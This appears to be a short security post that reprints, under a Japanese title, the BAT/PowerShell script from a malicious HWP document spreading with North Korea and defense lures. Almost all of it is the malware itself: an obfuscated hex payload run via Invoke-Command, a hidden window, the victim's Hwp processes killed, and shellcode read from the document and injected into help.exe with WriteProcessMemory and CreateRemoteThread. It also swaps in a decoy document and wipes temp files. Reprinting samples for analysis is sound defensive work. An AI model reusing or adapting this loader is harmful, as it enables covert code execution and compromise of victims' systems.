活発に拡散し続けている BAT スクリプトを含む不正なアレアハングルドキュメント(北朝鮮/国防/放送)

@echo off
IF EXIST "%PROGRAMFILES(X86)%" (set pspath="%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe") 
ELSE (set pspath="%windir%\system32\WindowsPowerShell\v1.0\powershell.exe")
start "" %pspath%  -command "$ttms="$eruk2="""2463029..省略..3B7D7D""";
$blwp="""""";
for($i=0;$i -le $eruk2.Length-2;$i=$i+2){$NTMO=$eruk2[$i]+$eruk2[$i+1];$blwp= $blwp+[char]([convert]::toint16($NTMO,16));};
Invoke-Command -ScriptBlock ([Scriptblock]::Create($blwp));";
Invoke - Command - ScriptBlock([Scriptblock]::Create($ttms));"

$kkp8=@"
[DllImport("user32.dll")] 
public static extern bool ShowWindow(IntPtr a, uint b);
"@;
$mmp8=Add-Type -MemberDefinition $kkp8 -Name "AAA"  -PassThru;
$mmp8::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
    public IntPtr hP;
    public IntPtr ht;
    public uint dwProcessId;
    public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
    public uint cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
    public uint dwX;
    public uint dwY;
    public uint dwXSize;
    public uint dwYSize;
    public uint dwXCountChars;
    public uint dwYCountChars;
    public uint dwFillAttribute;
    public uint dwFlags;
    public uint wShowWindow;
    public short cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
}
public static class Kernel32
{
    [DllImport("kernel32.dll")]
    public static extern bool CreateProcess(string a,string b,uint c,uint d,bool e,uint f,IntPtr g,string h, ref STARTUPINFO i,out PROCESS_INFORMATION j);
    [DllImport("kernel32.dll")]
    public static extern IntPtr GlobalAlloc(uint a,uint b);
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAllocEx(IntPtr a,IntPtr b, uint c,uint d, uint  e);
    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr a,IntPtr b,IntPtr c,uint  d,IntPtr e);
    [DllImport("kernel32.dll")]
    public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr a,IntPtr b,uint c,IntPtr d,IntPtr e,uint f,IntPtr g);
}
"@
$si = New-Object STARTUPINFO;
$pi = New-Object PROCESS_INFORMATION;
$ap8=Get-WmiObject Win32_Process -filter "Name like 'Hwp%'";
$x=0;
$y=0;
while(1){if($y -eq 1){break;}if($ap8.GetType().Name -eq "Object[]"){if($x -eq $ap8.count){$y=1;}$bp8=$ap8[$x].Name;
$cp8=$ap8[$x++].CommandLine;}else{$bp8=$ap8.Name;
$cp8=$ap8.CommandLine;
$y=1;}$ep8=$cp8.Split('"').count;if($ep8 -eq 3){$fp8=$cp8.Split('"')[2].Split(' ')[1];}elseif($ep8 -eq 5){$fp8=$cp8.Split('"')[3];}$bytes = Get-Content $fp8 -Tail 1 -Encoding Byte;
$dp8="/c taskkill /f /im "+$bp8;cmd $dp8;if($bytes -eq 0x88){$gp8=""""+$env:TEMP+"\alw0305k.con"+"""";
$hp8=""""+$env:TEMP+"\t32.bat"+"""";
$ip8=""""+$fp8+"""";sleep 3;
$bytes = Get-Content $fp8 -Tail 0x332 -Encoding Byte;
$addr = [Kernel32]::GlobalAlloc(0x40, 0x400);
for ($h = 0;$h -lt 0x331;$h++)
{[System.Runtime.InteropServices.Marshal]::WriteByte($addr, $h, $bytes[$h]);};
[Kernel32]::CreateProcess("c:\windows\SysWOW64\help.exe",0,0,0,0,0x04,0,"c:",[ref] $si,[ref] $pi);
$kp8=$pi.hP;
$mp8=[Kernel32]::VirtualAllocEx($kp8,0,0x400,0x1000,0x40);[Kernel32]::WriteProcessMemory($kp8,$mp8,$addr, 0x331, 0);
$dp8="/c copy /y "+$gp8+" "+$ip8;
$pep8=0;
$psp8='0';do{$pep8++;
$psp8=cmd $dp8;sleep 1;if($pep8 -eq 5){break;}}while($psp8.Trim()[0] -ne '1');start $ip8;
$jp8="cmd /c del /f "+""""+$gp8+"""";cmd $jp8;
$jp8="cmd /c del /f "+""""+$hp8+"""";cmd $jp8;
$lp8 = [Kernel32]::CreateRemoteThread($kp8, 0, 0, $mp8, 0, 0, 0);[Kernel32]::WaitForSingleObject($lp8, 500*1000);}}